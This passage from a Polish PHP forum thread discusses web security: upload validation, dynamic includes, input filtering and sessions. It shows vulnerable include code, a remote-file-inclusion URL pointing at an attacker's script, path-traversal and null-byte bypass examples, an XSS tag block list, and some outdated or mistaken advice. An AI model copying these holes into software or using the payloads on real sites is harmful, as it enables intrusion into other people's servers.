Przed chwilą przeczytałem ten artykuł i nieco się zmieszałem. W jaki więc sposób powinniśmy upload'ować pliki na serwer? Szczególnie grafiki takie jak avatary użytkowników? Przyznaję, że wystraszyłem się o kilka swoich stron.

Szukałem, ale nie znalazłem nic innego na ten temat. Żadne ze znalezionych przeze mnie przykładów nie zawierają żadnych dodatkowych zabezpieczeń. Łatwiej znaleźć przykład kodu omijającego te zabezpieczenia niż faktycznego zabezpieczenia. Ktoś ma jakieś sugestie?


Spytam: czy zabezpiecza mnie fakt, że np. wszystkim przesłanym plikom (niby obrazkom) nadaję rozszerzenie jpg (konwertując wcześniej inne formaty grafik na jpg) ? Teoretycznie powinno mnie to zabezpieczyć, ponieważ serwer nie jest skonfigurowany tak, aby interpretować pliki jpg jako kod php. Ale co z innymi językami, np. Python wspomniany w powyższym artykule?

A jeśli to nie zapewnia mi bezpieczeństwa to czy upload'owanie plików poza document_root wystarczy? Wtedy musiałbym je odczytywać dodatkowym skryptem php pobierającym ich zawartość i wypluwającym ją do przeglądarki.

Ten post edytował Najki 1.12.2006, 10:36:19


--------------------
Go to the top of the page
+Quote Post
mariuszn3
post 1.12.2006, 13:38:15
Post #67





Grupa: Zarejestrowani
Postów: 352
Pomógł: 0
Dołączył: 22.01.2006

Ostrzeżenie: (0%)
-----


Nigdy nie powinno się ufać nagłówkom http, nagłówki te wstawia agent, którym się posługuje użytkownik a nie zawsze to musi być przeglądarka, może to być po prostu skrypt napisany przez kogoś, który chce wyciągnąć ważne informacje z naszego serwera.
W powyższym przypadku powinieneś po prostu użyć funkcji getimagesize() ona po zawartości pliku oceni jakiego typu jest plik czyli przy próbie przesłania skryptu php wywali błąd, który oczywiście możesz przechwycić i odrzucić plik.
Go to the top of the page
+Quote Post
tumeks
post 5.12.2006, 19:01:57
Post #68





Grupa: Zarejestrowani
Postów: 123
Pomógł: 0
Dołączył: 10.11.2003
Skąd: Poznań

Ostrzeżenie: (0%)
-----


Czyli jeśli będę miał np. wstawiony kod:
  1. <?php
  2. if ($_GET['page'] == '')
  3. $_GET['page'] = 'news';
  4. if(file_exists($_GET['page'].'.php')){
  5. include($_GET['page'].'.php');
  6. } else 
  7. echo '<div id="blad">Nie znaleziono pliku.</div>';
  8. ?>


To moja strona będzie bezpieczna ?
Go to the top of the page
+Quote Post
Sedziwoj
post 7.12.2006, 13:50:49
Post #69





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


@Najki jest proste rozwiązanie nadanie pliku własnej nazwy.
Ja mam po prostu numerowane pliczki, i każdy jeśli rozpoznam np. image/png to zapisuje {numer}.png a nazwa wysłanego co najwyżej służy do opisu w bazie co jako string nie jest niebezpieczne.
Co dziwne jest funkcja do sprawdzania mime mianowicie mime_content_type ale szukając na jej temat znalazłem tylko pliki magic.mime niestety jakoś nie udało mi się tego użyć. Choć przyznam, że tylko chwile siedziałem nad tym.

Mam nadzieję, że dobrze zrozumiałem naturę problemu.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
Saddam92
post 8.12.2006, 21:42:34
Post #70





Grupa: Zarejestrowani
Postów: 69
Pomógł: 0
Dołączył: 17.11.2006

Ostrzeżenie: (0%)
-----


no dobrze.. tylko ze tutaj jest sprawdzany typ pliku.. a jak by do tego dodac jeszcze sprawdzanie rozszerzenia przesyłanego pliku questionmark.gif
Go to the top of the page
+Quote Post
Sedziwoj
post 9.12.2006, 12:08:30
Post #71





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


bardziej wiarygodną rzeczą jest mime, bo plik image/jpeg moze mieć rozszerzenie jpg jpeg jpe i wiele innch dziwnych, czy po prostu niepoprawnych, zdarzało mi się że miałem plik o rozszerzeniu jpeg a program graficzny poinformował mnie że to jest gif i zmienił rozszerzenie.
Ogólnie lepiej oprzeć na mime a nazwę i rozszerzenie tworzyć samemu, bo oprócz rozszerzenia mogą być "błędne" nazwy plików.

Co do podanej przezemnie funkcji, to chyba po prostu zrobię ją sam (dość proste) tylko muszę znaleźć opis większej liczby formatów. Ale to będzie dość proste. (tak mi się wydaje)

Ale ogólnie po prostu nie możemy polegać na tym co mamy przesłane czy to mime czy to rozszerzenie.
Mimo wszystko jestem za tym aby plikom nadawać własne nazwy.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
cadavre
post 9.12.2006, 13:50:07
Post #72





Grupa: Zarejestrowani
Postów: 472
Pomógł: 7
Dołączył: 7.12.2005
Skąd: Gliwice

Ostrzeżenie: (0%)
-----


http://pl.php.net/manual/pl/function.getimagesize.php
a lista mime'ów, które php obsługuje jako graficzne jest tu
http://pl.php.net/manual/pl/function.image...o-mime-type.php

Wszystkie typy mime znajdziesz na googlach:
http://www.google.pl/search?hl=pl&q=mime+types


--------------------
Silesian PHP User Group - www.spug.pl
Symfony2, OAuth2, budowanie API - masz pytania? Pisz!
Go to the top of the page
+Quote Post
Sedziwoj
post 10.12.2006, 18:41:56
Post #73





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


No to ten problem da się rozwiązać biggrin.gif
Wystarczy wykorzystać:
0 string GIF image/gif
0 beshort 0xffd8 image/jpeg
0 string \x89PNG\x0D\x0A\x1A\x0A\x00\x00\x00\x0DIHDR image/png

lub przy obrazkach można jak cadavre napisał wykorzystać getimagesize, a dokładniej coś co jest w manualu http://pl.php.net/manual/pl/function.getimagesize.php" title="Zobacz w manualu php" target="_manual

Ale też można rozpoznać inne typy:
0 string BZh application/x-bzip2
itd.
Już sobie odpowiedni kod wyklepałem, więc na przyszłość będę miał, no i to zagadnienie już mam troszkę rozpracowane.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
mariuszn3
post 10.12.2006, 18:49:29
Post #74





Grupa: Zarejestrowani
Postów: 352
Pomógł: 0
Dołączył: 22.01.2006

Ostrzeżenie: (0%)
-----


Nie wynajdujcie koła na nowo. To wszystko już zostało dawno opracowane przez programistów php.
Jeśli chcecie wykryć typ pliku obrazu wtedy w zupełności wystarcza getimagesize()
Natomiast jeśli jakiegokolwiek pliku to skorzystajcie z rozszerzenia Fileinfo i funkcji finfo_file()
Go to the top of the page
+Quote Post
Sedziwoj
post 10.12.2006, 20:00:12
Post #75





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


No tak jak ma się sklerozę... to trzeba się narobić biggrin.gif
Ale głupio się czuję, przecież 'wiedziałem' że ta funkcja jest :/
No nic ale informacje i tak nie poszły na marne bo jeśli się pracuje u siebie na windowsie to trzeba mieć plik z mime (chyba, że znów popisuję się inteligencją czy raczej pamięcią)


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
starach
post 31.01.2007, 13:44:38
Post #76





Grupa: Zarejestrowani
Postów: 999
Pomógł: 30
Dołączył: 14.01.2007
Skąd: wiesz ?

Ostrzeżenie: (0%)
-----


Zabezpieczanie tablicy $_GET ( Żywcem wyjęte z maincore.php w php-Fusion )
  1. <?php
  2. public function check_get()
  3. {
  4. foreach ($_GET as $check_url) {
  5. if ((eregi("<[^>]*script*"?[^>]*>", $check_url)) || (eregi("<[^>]*object*"?[^>]*>", $check_url)) ||
  6. (eregi("<[^>]*iframe*"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*"?[^>]*>", $check_url)) ||
  7. (eregi("<[^>]*meta*"?[^>]*>", $check_url)) || (eregi("<[^>]*style*"?[^>]*>", $check_url)) ||
  8. (eregi("<[^>]*form*"?[^>]*>", $check_url)) || (eregi("([^>]*"?[^)]*)", $check_url)) ||
  9. (eregi(""", $check_url))) 
  10. {
  11. return false;
  12. } else {
  13. return true;
  14. }
  15. }
  16. ?>
Nie rozumiem tylko co robi ta linijka:
Kod
eregi("\([^>]*\"?[^)]*\)", $check_url)

Z Wyrażeń regularnych to ja jestem cienki sadsmiley02.gif
Go to the top of the page
+Quote Post
Sedziwoj
post 2.02.2007, 03:30:17
Post #77





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Tak mnie zastanawia co się stanie jeśli $_GET nie istnieje lub nie jest tablicą... (nie chce mi się teraz testować).

A jeszcze do podanego na drugiej stronie skryptu z flock, jest błędny, ponieważ ta funkcja zwraca true jeśli się jej uda a false jeśli nie, więc może wyjść, że plik jest używany zwróci false ale że nie sprawdzamy co zwraca skrypt leci dalej i robią się kłopoty.
Trzeba więc sprawdzać co zwraca, gdzieś zamieściłem jedną propozycję ale była na tyle prosta (jak i mogąca zawiesić skrypt) że jej nie podam.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
insenic
post 25.02.2007, 16:21:27
Post #78





Grupa: Zarejestrowani
Postów: 19
Pomógł: 0
Dołączył: 9.02.2007

Ostrzeżenie: (0%)
-----


Czy zabezpieczenie katalogu przez .htaccess jest 100% bezpieczne? Chciałbym trzymać konfigurację (między innymi hasło do mysql) w danym katalogu w plikach *.ini. Wiem, że istnieją inne metody zabezpieczania takich danych, ale czy .htaccess jest skuteczna?
Go to the top of the page
+Quote Post
sobstel
post 26.02.2007, 08:51:32
Post #79





Grupa: Zarejestrowani
Postów: 853
Pomógł: 25
Dołączył: 27.08.2003
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(insenic @ 25.02.2007, 16:21:27 ) *
Czy zabezpieczenie katalogu przez .htaccess jest 100% bezpieczne? Chciałbym trzymać konfigurację (między innymi hasło do mysql) w danym katalogu w plikach *.ini. Wiem, że istnieją inne metody zabezpieczania takich danych, ale czy .htaccess jest skuteczna?


nie ma metod całkowicie bezpiecznych, jednak ta jest jedną z lepszych na osiągnięcie tego co chcesz.

Ten post edytował sopel 26.02.2007, 08:51:44


--------------------
"If debugging is the process of removing bugs, then programming must be the process of putting them in..."
sobstel.org
Go to the top of the page
+Quote Post
Ivellios
post 2.03.2007, 23:03:09
Post #80





Grupa: Zarejestrowani
Postów: 18
Pomógł: 0
Dołączył: 2.03.2007

Ostrzeżenie: (0%)
-----


Witam, chciałbym się was zapytać, czy przedstawiony przeze mnie poniżej kod ma coś wspólnego z bezpieczeństwem tongue.gif

  1. <?php 
  2. mysql_pconnect("localhost", "NAZWA_BAZY_DANYCH", "HASŁO"); 
  3. mysql_select_db("JAKAŚTAM_TABELA"); 
  4. $id = addslashes($_GET['id']); 
  5. $sql = "SELECT * FROM nuke_pages WHERE pid = '$id'"; 
  6.  
  7. $result = mysql_query($sql); 
  8.  
  9.  
  10. while($row = mysql_fetch_array($result)) 
  11. { 
  12.  
  13. ?> 
  14. <table><tr><td class="navpic" align="center"><font class="block-title"><strong><?php echo $row['title']; ?></strong></font></td></tr>
  15. <tr><td class="row1" align="justify"><font class="content"><?php echo $row['page_header']; ?><BR><BR><?php echo $row['text']; ?><BR><BR><?php echo $row['page_footer']; ?></font><BR><BR></td></tr></table><br>
  16. <?
  17. } 
  18. ?>

Korzystam obecnie z PHP Nuke i postanowiłem stworzyć własnego CMS'a do obsługi mojej strony www.paranormalium.pl Budując stronę główną nieopartą na tej dziurawej krowie, mając przy tym nikłe pojęcie o php, musiałem niestety zrobić małą, że tak to ujmę, prowizorkę, czyli same include i inne proste rzeczy...

Potrzebuję tylko stworzyć jakiś w miarę prosty i bezpieczny zarazem skrypt, który wyświetlałby artykuły/linki/opisy książek i inne dane zapisane w bazie. Muszę się za to zabrać szybko bo się ostatnio na mnie uwzięła grupa hakerów niszczących strony o tematyce paranaukowej tongue.gif
Go to the top of the page
+Quote Post
Sedziwoj
post 4.03.2007, 02:39:44
Post #81





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Ivellios przeczytaj to co już jest, tam znajdziesz odpowiedź.
Musisz wiedzieć o 'grubszych' dziurach jakie się zdarzają sam, bo tak każdy skrypt byś musiał komuś podsyłać aby sprawdzić.

Co do tego co podałeś, to jeśli pid jest polem typu liczbowego, to powinieneś sprawdzić czy $_GET['id'] jest liczbą, jak jest to dobrze jak nie to ignorujesz. A addslash w takim wypadku jest zbędny, bo jak jest liczbą to nie może mieć innych znaków.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
Ivellios
post 4.03.2007, 07:54:58
Post #82





Grupa: Zarejestrowani
Postów: 18
Pomógł: 0
Dołączył: 2.03.2007

Ostrzeżenie: (0%)
-----


Co do tego addslasha to zmieniłem go na mysql_escape_string. A jak będę miał wolną chwilkę to przejrzę cały temacik i pomyślę, co by jeszcze "ubezpiecznić" tongue.gif
Go to the top of the page
+Quote Post
upaupa
post 27.03.2007, 14:11:39
Post #83





Grupa: Zarejestrowani
Postów: 5
Pomógł: 0
Dołączył: 27.03.2007

Ostrzeżenie: (0%)
-----


Przeczytałem cały topic - filtrowanie, if fileexist - tylko po co to? Mam taki kod i nie ma bata żeby ktoś tu coś innego includował:

Kod
<a href="index.php?strona=glowna">GLOWNA</a><br>
<a href="index.php?strona=pobieralnia">POBIERALNIA</a><br>
<a href="index.php?strona=omnie">O MNIE</a><br>

<?php
$page=$_GET['strona'];
if(($strona == "") || ($strona == "glowna"))
{include("glowna/glowna.php");}
else
if($strona == "pobieralnia")
{include("pobieralnia/pobieralnia.php");}
else
if($strona == "omnie")
{include("omnie/omnie.php");}
else                             // to ma zabezpieczyc
{include("glowna/glowna.php");}   // nasza strone
?>


smile.gif
Go to the top of the page
+Quote Post
Sedziwoj
post 27.03.2007, 16:00:29
Post #84





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


upaupa widocznie nie czytałeś wszystkiego... bo już lepiej użyć switch niż taką konstrukcję, a dlaczego mimo wszystko tak nie jest najlepiej, masz napisane wcześniejszych postach.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
upaupa
post 27.03.2007, 17:09:08
Post #85





Grupa: Zarejestrowani
Postów: 5
Pomógł: 0
Dołączył: 27.03.2007

Ostrzeżenie: (0%)
-----


a co za różnica czy switch czy else if? - żadna oprócz no powiedzmy przejrzystości kodu. Post przeanalizowałem dokładnie i dalej sądzę że w tym kodzie co podałem nic innego nie da się includować
Go to the top of the page
+Quote Post
Sedziwoj
post 27.03.2007, 18:27:51
Post #86





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


Przecież przejrzystość i łatwość rozbudowy kodu jest ważna.
A czy ja twierdziłem że można się włamać? Chodziło mi o sens budowy sprawdzania zamiast konstrukcji zamkniętych.


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
dantekir
post 29.04.2007, 16:47:22
Post #87





Grupa: Zarejestrowani
Postów: 66
Pomógł: 0
Dołączył: 14.06.2004
Skąd: Świętochłowice

Ostrzeżenie: (0%)
-----


Witam,

Postanowiłem popracować troche nad bezpieczeństwem pewnej stronki... winksmiley.jpg

Przeczytałem ostatnio wiec że lepiej jest w adresie url nie podawać nazwy plikow w postaci np. jakastrona.pl/index.php bezpieczniej jest używać /index.html a to ze względu na fakt iż atakujący nie zna od razu odpowiedzi na pytanie: jaki język skryptowy został użyty do stworzenia strony?

A wiec...

Przypuśćmy że mam taki adres:
www.jakasstrona.pl/podstrona.php?zmienna1=wartosc1&zmienna2=wartosc2

Sladami poprawy bezpieczenstwa chcialbym ten adres zamienic np. na:
www.jakasstrona.pl/podstrona_wartosc1_wartosc2_.html

z tego adresu mogłbym sobie wyciagnac wartosci odpowiednich zmiennych.
Zauwazylem tez ze serwis allegro stosuje taki linkowanie do aukcji, a wiec jest to mozliwe.

Zastanawiam sie w jaki sposob dac do zrozumienia mojej stronie aby po wpisaniu tego "bezpiecznego" adresu nie wyswietlala mi sie strona bledu (404)...
Drugie pytanie dotyczy tego gdzie ustawic mozliwosc wykonywania skryptow php w plikach .html?

Za wskazowki bardzo dziękuję i pozdrawiam. smile.gif


--------------------
...albo jesteś zerem albo jedynką ;)
Go to the top of the page
+Quote Post
bełdzio
post 29.04.2007, 17:07:31
Post #88





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


ad1. google + mod_rewrite
ad2. w konfigu php ew. w .htaccess AddType application/x-httpd-php .html

a od siebie dodam: http://www.beldzio.com/ mam nadzieję, że da się tam znaleźć coś ciekawego ;-)


--------------------
Go to the top of the page
+Quote Post
.radex
post 4.05.2007, 17:38:46
Post #89





Grupa: Zarejestrowani
Postów: 1 657
Pomógł: 125
Dołączył: 29.04.2006

Ostrzeżenie: (0%)
-----


O jednym zapomnieliście - Z includowaniem plików przesadziliście całkowicie! PHP jest językiem działającym po stronie serwera więc jakie jest niebezpieczeństwo?! Można zincludować plik jako przetworzony już, ale napewno nie będzie mógł dostać się do serwera czy innych takich:P


--------------------
blog | Tadam — minutnik do Pomodoro na Maka :)
Go to the top of the page
+Quote Post
Kicok
post 4.05.2007, 17:49:27
Post #90





Grupa: Zarejestrowani
Postów: 1 033
Pomógł: 125
Dołączył: 17.09.2005
Skąd: Żywiec

Ostrzeżenie: (0%)
-----


1.
  1. <?php
  2. $id = $_GET['id'];
  3. include('/strony/' . $id . '.php');
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=../index.php strona się zapętli (będzie wczytywała samą siebie) a zużycie procesora skoczy do 100%. Może nawet uda się w ten sposób zwiesić system lub wywalić serwer www - nie wiem, nie znam się, w każdym bądź razie jest to skutek niepożądany.


2. Kompletna masakra
  1. <?php
  2. $id = $_GET['id'];
  3. include($id);
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=http://moj_..._skrypt_php.txt można nieźle namieszać na serwerze.



No chyba że chodzi ci o "ataki" typu umieszczenie na swoim serwerze:
  1. <?php
  2. include('http://jakas_stronka/config.php');
  3. ?>

to faktycznie w ten sposób zaatakować/podglądnąć kod źródłowy się nie da .


--------------------
"Sumienie mam czyste, bo nieużywane."
Go to the top of the page
+Quote Post
bełdzio
post 5.05.2007, 00:12:38
Post #91





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


@Kicok pkt1 == pkt2 smile.gif to że dodawane jest automatycznie rozszerzenie nie oznacza, że nie możesz się go pozbyć smile.gif

@radex_p nie chodzi o samo includowanie, ale o sposób jaki się to robi


--------------------
Go to the top of the page
+Quote Post
.radex
post 6.05.2007, 15:52:45
Post #92





Grupa: Zarejestrowani
Postów: 1 657
Pomógł: 125
Dołączył: 29.04.2006

Ostrzeżenie: (0%)
-----


Cytat(Kicok @ 4.05.2007, 16:49:27 ) *
1.
  1. <?php
  2. $id = $_GET['id'];
  3. include('/strony/' . $id . '.php');
  4. ?>


Po kliknięciu na link http://server.com/index.php?id=../index.php strona się zapętli (będzie wczytywała samą siebie) a zużycie procesora skoczy do 100%. Może nawet uda się w ten sposób zwiesić system lub wywalić serwer www - nie wiem, nie znam się, w każdym bądź razie jest to skutek niepożądany.

Przy odpowiednich zabezpieczeniach serwer sam się uchroni:P I nie chodzi o same zabezpieczenia skryptu, ale niektóre serwery logują ip, i przy zbyt dużych "wejściach" serwer automatycznie blokuje skrypt/ip. No ale są bardziej wyrafinowane sposoby na spowodowanie ataku DoS (albo DDoS)


--------------------
blog | Tadam — minutnik do Pomodoro na Maka :)
Go to the top of the page
+Quote Post
peen
post 31.05.2007, 02:52:48
Post #93





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 31.05.2007

Ostrzeżenie: (0%)
-----


hmm... trochę tu śmietnik... zgubiłem się gdzieś na 3-4 stronie tongue.gif

ale właściwie chodzi mi tylko o jedno... test skryptu logującego... jego oczywiście nie podam ale jeśli byłby ktoś tak miły to proszę o jego przełamanie(na pewno się da ... tak myślę tongue.gif)

poza logowaniem proszę o znalezienie błędów... wszystkich możliwych jakby ktoś miał trochę czasu i chęci smile.gif

adres www.peen.yoyo.pl

PS czuje się jakbym popełniał samobójstwo tongue.gif guitar.gif (modli sie: oby nie złamał tego jakiś zwykły PHP coder tongue.gif)

----------------

jeśli pobieram "dzial" metodą get i wewnątrz skryptu wstawiam prefix "./" oraz sufix w postaci rozszerzenia...(którego raczej staram się nie zdradzić) to w jakim stopniu zabezpieczam skrypt przed niepowołanymi danymi/skryptami?(wiem że o tym było trochę ale się pogubiłem trochę bardziej :/)

co mi grozi jeśli nie ograniczam długości loginu i hasła w skrypcie do logowania? jeśli nie ograniczam też możliwości używania tagów html itp itd....
(konkretny przykład wpisanych danych... najlepiej od razu sprawdzony w skrypcie na stronie wyżej:P)

jak bezpieczne są zmienne przechowywane w $_SESSION? czy jeśli przechowuje w nich login i hasło(forma md5) to jest to w miarę dobre rozwiązanie czy lepiej na prostych stronach unikać przechowywania loginu i hasła w ogóle(wprowadzanie loginu i hasła tylko na potrzeby konkretnego skryptu np. dodającego wpis na stronkę)?

czy coś jeszcze chcę wiedzieć.... -myśli--myśli--myśli... chyba na razie nie tongue.gif
Go to the top of the page
+Quote Post
bełdzio
post 31.05.2007, 18:53:07
Post #94





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


boo ;-)


ad1. Null byte attack
ad2. nic jeśli później nie wyświetlasz danych przekazanych przez usera
ad3. średnio bezpieczne smile.gif zależy czy używasz tylko "gołej" tablicy $_SESSION i session_start czy też innych ficzerów ;-)


--------------------
Go to the top of the page
+Quote Post
peen
post 1.06.2007, 12:28:42
Post #95





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 31.05.2007

Ostrzeżenie: (0%)
-----


ad boo. hmm... spróbuj zrobić tak żeby nie wywaliło braku strony tongue.gif bo właściwie to co zrobiłeś to nie błąd tylko taka jest nazwa strony której szukałeś tongue.gif:P(nadaje sie do zabezpieczeń w microsofcie tongue.gif:P)

ad1. hmmm jakoś się poprawi... ekhm a właściwie jak wygląda ten typ ataku tongue.gif(to jest coś z ../../../ itd?tongue.gif)

hmm

ad3. czy $_SESSION jest tak bezpieczne jak komputer i połączenie między klientem a serwerem? jeśli użyje https ... to jest jeden z tych ficzerow? domyślam się że w tablicy nie powinienem goło trzymać nazw pól "login" "pass" tylko jakieś identyfikatory(może zaszyfrowane haha.gif) trudne do odgadnięcia a każda wartość szyfrowana? tongue.gif:P

PS hmm sorki za zabezpieczenia ogólne w dziale php tongue.gif

EDIT:

poprawiam poprawiam... usuwam podpuchę z pokazywaniem błędnego działu... robie listę dozwolonych działów... ale z tymi ficzerami to jeszcze będę musiał troche popracować bo w manualu PHP niewiele jest o sesjach...(albo nie umiem szukać) więc google się odwiedzi tongue.gif

Ten post edytował peen 1.06.2007, 17:51:35
Go to the top of the page
+Quote Post
bełdzio
post 1.06.2007, 14:14:53
Post #96





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


ad ad boo, to jest błąd i tyle, co za problem przejechac stringa np strip_tags?

ad ad 1/ %00 kończy stringa czyli katalog/plik.php%00.html = katalog/plik.php

ad ad3. ficzery = session.use_only_cookies + session_regenerate_id + session_save_path etc ;-)


--------------------
Go to the top of the page
+Quote Post
peen
post 1.06.2007, 18:47:30
Post #97





Grupa: Zarejestrowani
Postów: 3
Pomógł: 0
Dołączył: 31.05.2007

Ostrzeżenie: (0%)
-----


ad ad ad 1 tongue.gif

wpisuje nazwę innego pliku znajdującego się w katalogu... + %00
teoretycznie wg tego co mówisz powinno mi się wyświetlić a wyświetlić a wyświetla się znany ci już błąd
"Strony "(ukryta nazwa pliku)\0" nie znaleziono."

hmm... jestem po prostu głupi i nie potrafię zrobić włamu na własną stronę haha.gif

ad ad ad boo poprawione... ale pewnie dalej gdzieś jest dziura tongue.gif

ad ad ad 3 ehh to głębszy temat... z czasem się dopracuje tongue.gif

PS wiesz po prostu przeczytam sobie troche na twojej stronce tongue.gif i na innych temu podobnych tongue.gif

Ten post edytował peen 1.06.2007, 19:33:36
Go to the top of the page
+Quote Post
bmL
post 5.09.2007, 21:06:27
Post #98





Grupa: Zarejestrowani
Postów: 301
Pomógł: 25
Dołączył: 15.07.2007
Skąd: Olsztyn

Ostrzeżenie: (0%)
-----


Czytam i czytam i już dobre pół godziny czytam i nie wydaje mi się żeby dało się coś złego zrobić z takim skryptem:
  1. <?php
  2. $plik = basename($_GET[plik])
  3.  
  4. if($plik != $_GET[plik])
  5. echo '1337?';
  6. else
  7. {
  8. if(file_exists($plik.php)
  9.  include($plik.'php')
  10. else
  11.  include("strona_glowna.php")
  12. }
  13. ?>

Nie można includować pliku z innego katalogu z innego serwera czy też z dysku twardego...
Wiem dobrze, że includowanie któregokolwiek pliku z tego katalogu w którym znajduje się index nic złego nie zdziała...
Więc, pod jakim względem jest ten skrypt niebezpieczny bo nie mogę się doczytać tongue.gif


--------------------
Tutaj miał być jakiś mądry tekst. Miał być... No ale jest głupi tekst.
Go to the top of the page
+Quote Post
Sedziwoj
post 5.09.2007, 22:41:49
Post #99





Grupa: Zarejestrowani
Postów: 793
Pomógł: 32
Dołączył: 23.11.2006
Skąd: Warszawa

Ostrzeżenie: (0%)
-----


po pierwsze ten skrypt nie działa
po drugie zamiast file_exists() a is_file().
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

A właśnie zdałem sobie sprawę, że u mnie takie coś już nie wystąpi <lol> Ech to OOP, jednak ma jakieś plusy winksmiley.jpg


--------------------
Algorytmy w PHP, czy ktoś o tym słyszał?
Dlaczego tak mało kobiet programuje? ponieważ nie zajmują się głupotami.
Go to the top of the page
+Quote Post
bmL
post 6.09.2007, 15:01:46
Post #100





Grupa: Zarejestrowani
Postów: 301
Pomógł: 25
Dołączył: 15.07.2007
Skąd: Olsztyn

Ostrzeżenie: (0%)
-----


Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
po pierwsze ten skrypt nie działa

Faktycznie zgubiłem dwa ";" i nie domknąłem jednego nawiasu. Powinno być tak:
  1. <?php
  2. $plik = basename($_GET[plik]);
  3.  
  4. if($plik != $_GET[plik])
  5. echo '1337?';
  6. else
  7. {
  8. if(file_exists($plik.php))
  9.  include($plik.'php');
  10. else
  11.  include("strona_glowna.php");
  12. }
  13. ?>


Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
po drugie zamiast file_exists() a is_file().

Dzięki przyda się :]
Cytat(Sedziwoj @ 5.09.2007, 23:41:49 ) *
Po trzecie, po prostu bym dozwolił tylko a-z i nie patyczkował.

Też dobre rozwiązanie :]

Więc czy da się zrobić jakiś włam na aplikację opartą o taką funkcję (basename czy też dozwolenie znaków "a-z" + może "_" i "-") ?
Chyba prawdopodobnie pewnie raczej zapewne na pewno nie sciana.gif


--------------------
Tutaj miał być jakiś mądry tekst. Miał być... No ale jest głupi tekst.
Go to the top of the page
+Quote Post

16 Stron V   1 2 3 > » 
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 14.06.2025 - 22:21